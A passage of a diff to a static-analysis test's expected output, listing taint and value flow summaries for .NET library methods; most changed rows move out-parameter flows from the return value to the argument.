Microsoft.Extensions.Configuration;ChainedConfigurationProvider;ChainedConfigurationProvider;(Microsoft.Extensions.Configuration.ChainedConfigurationSource);Argument[0].Property[Microsoft.Extensions.Configuration.ChainedConfigurationSource.Configuration];Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];value;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationProvider;GetChildKeys;(System.Collections.Generic.IEnumerable,System.String);Argument[0].Element;ReturnValue.Element;value;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationProvider;GetReloadToken;();Argument[this];ReturnValue;taint;df-generated | -| Microsoft.Extensions.Configuration;ChainedConfigurationProvider;TryGet;(System.String,System.String);Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];ReturnValue;taint;dfc-generated | +| Microsoft.Extensions.Configuration;ChainedConfigurationProvider;TryGet;(System.String,System.String);Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];Argument[1];taint;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationProvider;get_Configuration;();Argument[this].SyntheticField[Microsoft.Extensions.Configuration.ChainedConfigurationProvider._config];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Configuration;ChainedConfigurationSource;Build;(Microsoft.Extensions.Configuration.IConfigurationBuilder);Argument[0];Argument[this];taint;df-generated | | Microsoft.Extensions.Configuration;CommandLineConfigurationExtensions;AddCommandLine;(Microsoft.Extensions.Configuration.IConfigurationBuilder,System.Action);Argument[1];Argument[0];taint;manual | @@ -2569,7 +2569,7 @@ summary | Microsoft.Extensions.Diagnostics.HealthChecks;HealthCheckRegistration;set_Factory;(System.Func);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.HealthChecks;HealthCheckService;CheckHealthAsync;(System.Func,System.Threading.CancellationToken);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;Initialize;(Microsoft.Extensions.Diagnostics.Metrics.IObservableInstrumentsSource);Argument[0];Argument[this];taint;df-generated | -| Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;InstrumentPublished;(System.Diagnostics.Metrics.Instrument,System.Object);Argument[this];ReturnValue;value;dfc-generated | +| Microsoft.Extensions.Diagnostics.Metrics;IMetricsListener;InstrumentPublished;(System.Diagnostics.Metrics.Instrument,System.Object);Argument[this];Argument[1];value;dfc-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_ByteHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_DecimalHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | | Microsoft.Extensions.Diagnostics.Metrics;MeasurementHandlers;set_DoubleHandler;(System.Diagnostics.Metrics.MeasurementCallback);Argument[0];Argument[0].Parameter[delegate-self];value;hq-generated | @@ -3503,7 +3503,7 @@ summary | Microsoft.Extensions.Primitives;StringSegment;ToString;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer];ReturnValue;taint;dfc-generated | | Microsoft.Extensions.Primitives;StringSegment;ToString;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Value];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringSegment;get_Value;();Argument[this].Property[Microsoft.Extensions.Primitives.StringSegment.Buffer];ReturnValue;taint;dfc-generated | -| Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringTokenizer);Argument[0];ReturnValue;value;dfc-generated | +| Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringTokenizer);Argument[0].Element;Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();Argument[this].Property[Microsoft.Extensions.Primitives.StringTokenizer+Enumerator.Current];ReturnValue;value;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();Argument[this].Property[Microsoft.Extensions.Primitives.StringTokenizer+Enumerator.Current];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringTokenizer+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -3514,7 +3514,6 @@ summary | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(Microsoft.Extensions.Primitives.StringSegment,System.Char[]);Argument[0];Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(Microsoft.Extensions.Primitives.StringSegment,System.Char[]);Argument[1].Element;Argument[this];taint;df-generated | | Microsoft.Extensions.Primitives;StringTokenizer;StringTokenizer;(System.String,System.Char[]);Argument[1].Element;Argument[this];taint;df-generated | -| Microsoft.Extensions.Primitives;StringValues+Enumerator;Enumerator;(Microsoft.Extensions.Primitives.StringValues);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.Extensions.Primitives;StringValues+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | | Microsoft.Extensions.Primitives;StringValues;Add;(System.String);Argument[0];Argument[this].Element;value;manual | | Microsoft.Extensions.Primitives;StringValues;Add;(System.String);Argument[0];ReturnValue;taint;manual | @@ -3593,7 +3592,6 @@ summary | Microsoft.SqlServer.Server;SqlDataRecord;GetValues;(System.Object[]);Argument[this];Argument[0].Element;taint;manual | | Microsoft.SqlServer.Server;SqlDataRecord;get_Item;(System.Int32);Argument[this];ReturnValue;taint;manual | | Microsoft.SqlServer.Server;SqlDataRecord;get_Item;(System.String);Argument[this];ReturnValue;taint;manual | -| Microsoft.VisualBasic.CompilerServices;StringType;MidStmtStr;(System.String,System.Int32,System.Int32,System.String);Argument[0];ReturnValue;value;dfc-generated | | Microsoft.VisualBasic.FileIO;MalformedLineException;GetObjectData;(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext);Argument[this];Argument[0];taint;df-generated | | Microsoft.VisualBasic;Collection;Add;(System.Object);Argument[0];Argument[this].Element;value;manual | | Microsoft.VisualBasic;Collection;Clear;();Argument[this].WithoutElement;Argument[this];value;manual | @@ -3605,12 +3603,6 @@ summary | Microsoft.VisualBasic;Collection;get_Item;(System.String);Argument[this].Element;ReturnValue;value;manual | | Microsoft.VisualBasic;Collection;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | Microsoft.VisualBasic;Collection;set_Item;(System.Int32,System.Object);Argument[1];Argument[this].Element;value;manual | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.Array,System.Int64,System.Boolean,System.Boolean);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.String,System.Int64,System.Boolean);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGet;(System.Int32,System.ValueType,System.Int64);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;FileGetObject;(System.Int32,System.Object,System.Int64);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.Object);Argument[1];ReturnValue;value;dfc-generated | -| Microsoft.VisualBasic;FileSystem;Input;(System.Int32,System.String);Argument[1];ReturnValue;value;dfc-generated | | Microsoft.VisualBasic;VBCodeProvider;CreateCompiler;();Argument[this];ReturnValue;taint;df-generated | | Microsoft.VisualBasic;VBCodeProvider;CreateGenerator;();Argument[this];ReturnValue;taint;df-generated | | Microsoft.VisualBasic;VBCodeProvider;GenerateCodeFromMember;(System.CodeDom.CodeTypeMember,System.IO.TextWriter,System.CodeDom.Compiler.CodeGeneratorOptions);Argument[0];Argument[this];taint;df-generated | @@ -5287,7 +5279,7 @@ summary | ServiceStack.Text;RecyclableMemoryStream;GetBuffer;();Argument[this];ReturnValue;taint;df-generated | | ServiceStack.Text;RecyclableMemoryStream;Read;(System.Byte[],System.Int32,System.Int32);Argument[this];Argument[0].Element;taint;manual | | ServiceStack.Text;RecyclableMemoryStream;Read;(System.Span);Argument[this];Argument[0].Element;taint;manual | -| ServiceStack.Text;RecyclableMemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];ReturnValue;taint;df-generated | +| ServiceStack.Text;RecyclableMemoryStream;TryGetBuffer;(System.ArraySegment);Argument[this];Argument[0].Element;taint;df-generated | | ServiceStack.Text;RecyclableMemoryStream;Write;(System.Byte[],System.Int32,System.Int32);Argument[0].Element;Argument[this];taint;manual | | ServiceStack.Text;RecyclableMemoryStream;Write;(System.ReadOnlySpan);Argument[0].Element;Argument[this];taint;manual | | ServiceStack.Text;RecyclableMemoryStream;WriteTo;(System.IO.Stream);Argument[this];Argument[0];taint;df-generated | @@ -6018,7 +6010,6 @@ summary | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.Int64);Argument[0];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.SequencePosition);Argument[0];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySequence;Slice;(System.SequencePosition,System.SequencePosition);Argument[1];ReturnValue;taint;df-generated | -| System.Buffers;ReadOnlySequence;TryGet;(System.SequencePosition,System.ReadOnlyMemory,System.Boolean);Argument[0];ReturnValue;value;dfc-generated | | System.Buffers;ReadOnlySequence;get_FirstSpan;();Argument[this];ReturnValue;taint;df-generated | | System.Buffers;ReadOnlySpanAction;BeginInvoke;(System.ReadOnlySpan,TArg,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.Buffers;SearchValues;Create;(System.ReadOnlySpan);Argument[0];ReturnValue;taint;df-generated | @@ -6026,30 +6017,24 @@ summary | System.Buffers;SequenceReader;SequenceReader;(System.Buffers.ReadOnlySequence);Argument[0];Argument[this].Property[System.Buffers.SequenceReader`1.Sequence];value;dfc-generated | | System.Buffers;SequenceReader;TryCopyTo;(System.Span);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | | System.Buffers;SequenceReader;TryCopyTo;(System.Span);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryPeek;(System.Int64,T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryPeek;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryRead;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadExact;(System.Int32,System.Buffers.ReadOnlySequence);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,T,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadToAny;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];ReturnValue;taint;df-generated | -| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;ReturnValue.Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryPeek;(System.Int64,T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[1];value;dfc-generated | +| System.Buffers;SequenceReader;TryPeek;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0];value;dfc-generated | +| System.Buffers;SequenceReader;TryRead;(T);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0];value;dfc-generated | +| System.Buffers;SequenceReader;TryReadExact;(System.Int32,System.Buffers.ReadOnlySequence);Argument[this];Argument[1];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.Buffers.ReadOnlySequence,T,T,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadTo;(System.ReadOnlySpan,T,T,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.Buffers.ReadOnlySequence,System.ReadOnlySpan,System.Boolean);Argument[this];Argument[0];taint;df-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;Argument[0].Element;value;dfc-generated | +| System.Buffers;SequenceReader;TryReadToAny;(System.ReadOnlySpan,System.ReadOnlySpan,System.Boolean);Argument[this].Property[System.Buffers.SequenceReader`1.UnreadSpan].Element;Argument[0].Element;value;dfc-generated | | System.Buffers;SequenceReader;get_UnreadSequence;();Argument[this];ReturnValue;taint;df-generated | | System.Buffers;SequenceReader;get_UnreadSpan;();Argument[this].Property[System.Buffers.SequenceReader`1.CurrentSpan].Element;ReturnValue.Element;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int16);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadBigEndian;(System.Buffers.SequenceReader,System.Int64);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int16);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int32);Argument[0];ReturnValue;value;dfc-generated | -| System.Buffers;SequenceReaderExtensions;TryReadLittleEndian;(System.Buffers.SequenceReader,System.Int64);Argument[0];ReturnValue;value;dfc-generated | | System.Buffers;SpanAction;BeginInvoke;(System.Span,TArg,System.AsyncCallback,System.Object);Argument[2];Argument[2].Parameter[delegate-self];value;hq-generated | | System.CodeDom.Compiler;CodeCompiler;CompileAssemblyFromDom;(System.CodeDom.Compiler.CompilerParameters,System.CodeDom.CodeCompileUnit);Argument[1];Argument[0];taint;df-generated | | System.CodeDom.Compiler;CodeCompiler;CompileAssemblyFromDom;(System.CodeDom.Compiler.CompilerParameters,System.CodeDom.CodeCompileUnit);Argument[1];Argument[this];taint;df-generated | @@ -6201,14 +6186,6 @@ summary | System.CodeDom.Compiler;CompilerParameters;CompilerParameters;(System.String[],System.String,System.Boolean);Argument[0].Element;Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.ReferencedAssemblies].Element;value;dfc-generated | | System.CodeDom.Compiler;CompilerParameters;CompilerParameters;(System.String[],System.String,System.Boolean);Argument[1];Argument[this].Property[System.CodeDom.Compiler.CompilerParameters.OutputAssembly];value;dfc-generated | | System.CodeDom.Compiler;CompilerResults;CompilerResults;(System.CodeDom.Compiler.TempFileCollection);Argument[0];Argument[this].Property[System.CodeDom.Compiler.CompilerResults.TempFiles];value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.IntPtr,System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[5];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[2];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[3];ReturnValue;value;dfc-generated | -| System.CodeDom.Compiler;Executor;ExecWaitWithCapture;(System.String,System.String,System.CodeDom.Compiler.TempFileCollection,System.String,System.String);Argument[4];ReturnValue;value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;GeneratedCodeAttribute;(System.String,System.String);Argument[0];Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool];value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;GeneratedCodeAttribute;(System.String,System.String);Argument[1];Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._version];value;dfc-generated | | System.CodeDom.Compiler;GeneratedCodeAttribute;get_Tool;();Argument[this].SyntheticField[System.CodeDom.Compiler.GeneratedCodeAttribute._tool];ReturnValue;value;dfc-generated | @@ -6654,8 +6631,8 @@ summary | System.Collections.Concurrent;ConcurrentBag;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Concurrent;ConcurrentBag;ToArray;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Concurrent;ConcurrentBag;TryAdd;(T);Argument[0];Argument[this].Element;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentBag;TryPeek;(T);Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Concurrent;ConcurrentBag;TryTake;(T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Concurrent;ConcurrentBag;TryPeek;(T);Argument[this];Argument[0];taint;df-generated | +| System.Collections.Concurrent;ConcurrentBag;TryTake;(T);Argument[this];Argument[0];taint;df-generated | | System.Collections.Concurrent;ConcurrentBag;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Concurrent;ConcurrentDictionary;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Key];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];value;manual | | System.Collections.Concurrent;ConcurrentDictionary;Add;(System.Collections.Generic.KeyValuePair);Argument[0].Property[System.Collections.Generic.KeyValuePair`2.Value];Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];value;manual | @@ -6728,7 +6705,7 @@ summary | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[1];Argument[1].Parameter[delegate-self];value;hq-generated | | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;dfc-generated | | System.Collections.Concurrent;ConcurrentDictionary;GetOrAdd;(TKey,System.Func,TArg);Argument[2];Argument[1].Parameter[1];value;hq-generated | -| System.Collections.Concurrent;ConcurrentDictionary;TryGetAlternateLookup;(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | +| System.Collections.Concurrent;ConcurrentDictionary;TryGetAlternateLookup;(System.Collections.Concurrent.ConcurrentDictionary+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Concurrent.ConcurrentDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | | System.Collections.Concurrent;ConcurrentDictionary;get_Comparer;();Argument[this];ReturnValue;taint;df-generated | | System.Collections.Concurrent;ConcurrentDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Concurrent;ConcurrentDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | @@ -6751,11 +6728,11 @@ summary | System.Collections.Concurrent;ConcurrentStack;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Concurrent;ConcurrentStack;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Concurrent;ConcurrentStack;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | -| System.Collections.Concurrent;ConcurrentStack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentStack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryPeek;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryPop;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | | System.Collections.Concurrent;ConcurrentStack;TryPopRange;(T[]);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0].Element;value;dfc-generated | | System.Collections.Concurrent;ConcurrentStack;TryPopRange;(T[],System.Int32,System.Int32);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0].Element;value;dfc-generated | -| System.Collections.Concurrent;ConcurrentStack;TryTake;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];ReturnValue;value;dfc-generated | +| System.Collections.Concurrent;ConcurrentStack;TryTake;(T);Argument[this].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1._head].SyntheticField[System.Collections.Concurrent.ConcurrentStack`1+Node._value];Argument[0];value;dfc-generated | | System.Collections.Concurrent;ConcurrentStack;get_SyncRoot;();Argument[this];ReturnValue;value;dfc-generated | | System.Collections.Concurrent;IProducerConsumerCollection;CopyTo;(T[],System.Int32);Argument[this].Element;Argument[0].Element;value;manual | | System.Collections.Concurrent;OrderablePartitioner;GetDynamicPartitions;();Argument[this];ReturnValue;taint;df-generated | @@ -6786,7 +6763,7 @@ summary | System.Collections.Frozen;FrozenDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Frozen;FrozenDictionary;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | | System.Collections.Frozen;FrozenDictionary;GetEnumerator;();Argument[this];ReturnValue;taint;df-generated | -| System.Collections.Frozen;FrozenDictionary;TryGetAlternateLookup;(System.Collections.Frozen.FrozenDictionary+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | +| System.Collections.Frozen;FrozenDictionary;TryGetAlternateLookup;(System.Collections.Frozen.FrozenDictionary+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Frozen.FrozenDictionary`2+AlternateLookup`1.Dictionary];value;dfc-generated | | System.Collections.Frozen;FrozenDictionary;get_Item;(System.Object);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Frozen;FrozenDictionary;get_Item;(TKey);Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Value];ReturnValue;value;manual | | System.Collections.Frozen;FrozenDictionary;get_Keys;();Argument[this].Element.Property[System.Collections.Generic.KeyValuePair`2.Key];ReturnValue.Element;value;manual | @@ -6803,7 +6780,7 @@ summary | System.Collections.Frozen;FrozenSet;ToFrozenSet;(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer);Argument[0].Element;ReturnValue;taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;Contains;(TAlternate);Argument[0];Argument[this];taint;df-generated | | System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[0];Argument[this];taint;df-generated | -| System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];ReturnValue;taint;df-generated | +| System.Collections.Frozen;FrozenSet+AlternateLookup;TryGetValue;(TAlternate,T);Argument[this];Argument[1];taint;df-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Frozen.FrozenSet`1+Enumerator.Current];ReturnValue;value;df-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this].Property[System.Collections.Frozen.FrozenSet`1+Enumerator.Current];ReturnValue;value;dfc-generated | | System.Collections.Frozen;FrozenSet+Enumerator;get_Current;();Argument[this];ReturnValue;taint;df-generated | @@ -6816,8 +6793,8 @@ summary | System.Collections.Frozen;FrozenSet;GetAlternateLookup;();Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | | System.Collections.Frozen;FrozenSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.Generic.IEnumerator`1.Current];value;manual | | System.Collections.Frozen;FrozenSet;GetEnumerator;();Argument[this].Element;ReturnValue.Property[System.Collections.IEnumerator.Current];value;manual | -| System.Collections.Frozen;FrozenSet;TryGetAlternateLookup;(System.Collections.Frozen.FrozenSet+AlternateLookup);Argument[this];ReturnValue.Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | -| System.Collections.Frozen;FrozenSet;TryGetValue;(T,T);Argument[this].Property[System.Collections.Frozen.FrozenSet`1.Items].Element;ReturnValue;value;dfc-generated | +| System.Collections.Frozen;FrozenSet;TryGetAlternateLookup;(System.Collections.Frozen.FrozenSet+AlternateLookup);Argument[this];Argument[0].Property[System.Collections.Frozen.FrozenSet`1+AlternateLookup`1.Set];value;dfc-generated | +| 